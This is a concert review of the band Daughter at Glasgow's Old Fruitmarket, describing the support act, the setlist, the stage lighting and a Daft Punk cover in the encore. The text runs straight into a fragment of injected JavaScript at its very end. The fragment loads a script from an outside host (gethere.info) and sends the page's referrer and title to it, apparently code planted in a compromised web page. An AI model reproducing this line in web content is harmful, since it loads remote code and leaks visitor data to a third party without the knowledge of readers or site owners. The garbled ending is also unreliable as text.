by Charis McGowan
Several times during Daughter’s performance, screams of “I love you!” can be heard. If it were not for the dark purple, numinous lighting, it would probably be possible to see the London trio blush. ‘Thank you’, front woman Elena Tonra timidly squeaks, who appears so modest to the point of awkward embarrassment.
The adoration of the fans is evident tonight. While support artist, Indians – the work of Danish singer Soren Lokke Juul – provided a suitable atmosphere with hauntingly bittersweet music, the crowd remained partially distracted and the noise of chatter, at times, rose above his melodic and quiet sounds. When Daughter opened the show with ‘Still’, however, the audience became silent and entranced.
Daughter last came to Glasgow in January, selling out the Oran Mor, and now they triumphantly return to a sell out show in the notably larger Old Fruitmarket. The venue’s antiquated charm is a perfect setting for the bands gloomy, mournful songs that detail death, heartbreak and of love lost in the recently released album, If You Leave. Even guitarist Igor Haefeli commented that playing the venue was being “like a dream world”.
A dream world is what Daughter create tonight, albeit a slightly despondent one. Elena´s whispery vocals caress effortlessly over the echoing of Igor’s woeful guitar, a sound created by striking a bow over the strings, completed with heavy, entrancing beats from drummer Remi Aguiella. The music is harmonious, intense and absorbing. ‘Still’ was followed by ‘Amsterdam’ and ‘Love’, all similarly defined by whimsical mutterings of Elena, yet in the danger of blending into each other too easily. Older track ‘Landfill’ was then gladly received, being a somewhat more gritty track; the hook of the chorus is starkly repeated “I want you so much / but I hate your guts”. Daughter are characterized by emotional and intense lyrics, and it is in such instances when Elena adopts a more impassioned and angered tone that her vocals really soar, and traces of the shy and timid vocalist are unseen. Stand out tracks were ‘Candles’, illuminated cozily by glowing yellow lanterns that decorate the venue, the more upbeat ‘Human’; and the fantastic single ‘Youth’.
Despite the evening being abundant in poignant and soulful music, Daughter do not end on a sad note. They return for their encore with a cover of Daft Punk´s ‘Get Lucky’, transforming a hit we all thought we were sick of into a slick and cool song dominated successfully by the moody Daughter-esque sound.
It has been a good year for Daughter; the band has come a long way from supporting Beiruit in the Barrowlands last September. Let’s hope they continue to soar, and perhaps pick up a bit more confidence along the way!s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
